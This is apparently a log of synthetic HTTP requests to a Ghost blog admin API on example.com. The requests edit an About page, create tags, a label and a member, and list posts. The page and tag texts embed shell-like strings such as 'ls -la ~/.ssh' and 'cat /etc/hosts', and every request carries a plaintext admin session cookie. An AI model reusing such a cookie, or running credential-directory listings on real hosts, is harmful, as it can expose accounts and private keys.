{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||||
|
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=id%3A6af45d34d281b00001a599a0&limit=1&include=authors%2Cnewsletter%2Cemail", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 67", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af45d34d281b00001a599a0\",\"6af45711d281b00001a598a6\"]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 433", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"tags\":[{\"name\":\"Linux & ls -la\",\"slug\":\"linux-ls-la\",\"description\":\"Posts about ls -la, cat /etc/hosts, python3 and .htaccess.\",\"feature_image\":null,\"meta_title\":null,\"meta_description\":null,\"canonical_url\":null,\"twitter_image\":null,\"twitter_title\":null,\"twitter_description\":null,\"og_image\":null,\"og_title\":null,\"og_description\":null,\"codeinjection_head\":null,\"codeinjection_foot\":null,\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/slug/linux-ls-la/?include=count.posts", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/tags-0mC6Zln1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=visibility%3Apublic", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/member-detail-BDR1RD_P.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/member-activity-feed-BtW3zf09.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/newsletters/?filter=status%3Aactive&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/InterVariable-Italic-FCBEiFp6.woff2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/index-C3xC5ZJE.css", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/labels/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"labels\":[{\"name\":\"powershell users\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/members/", "headers": ["Host: example.com", "Content-Length: 257", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"members\":[{\"email\":\"carol.python3@example.com\",\"name\":\"Carol python3 Example\",\"note\":\"Asked about .htaccess and ls -la on a shared host.\",\"labels\":[{\"name\":\"powershell users\",\"slug\":\"powershell-users\"}],\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\"}]}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/6af45d70d281b00001a599ad/?include=tiers", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/metafields/custom/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/events/?filter=type%3A-%5B%27aggregated_click_event%27%5D%2Bdata.member_id%3A%276af45d70d281b00001a599ad%27&limit=5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/newsletters/?limit=100", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tiers/?filter=type%3Apaid", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=slug%3A%5B%27python3%27%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apython3%2Bstatus%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af458a5d281b00001a59969\"]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=slug%3A%5B%27powershell%27%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Apowershell%2Bstatus%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=slug%3A%5B%27linux-ls-la%27%5D", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Alinux-ls-la%2Bstatus%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Alinux-ls-la%2Bstatus%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Alinux-ls-la%2Bstatus%3A%5Bpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
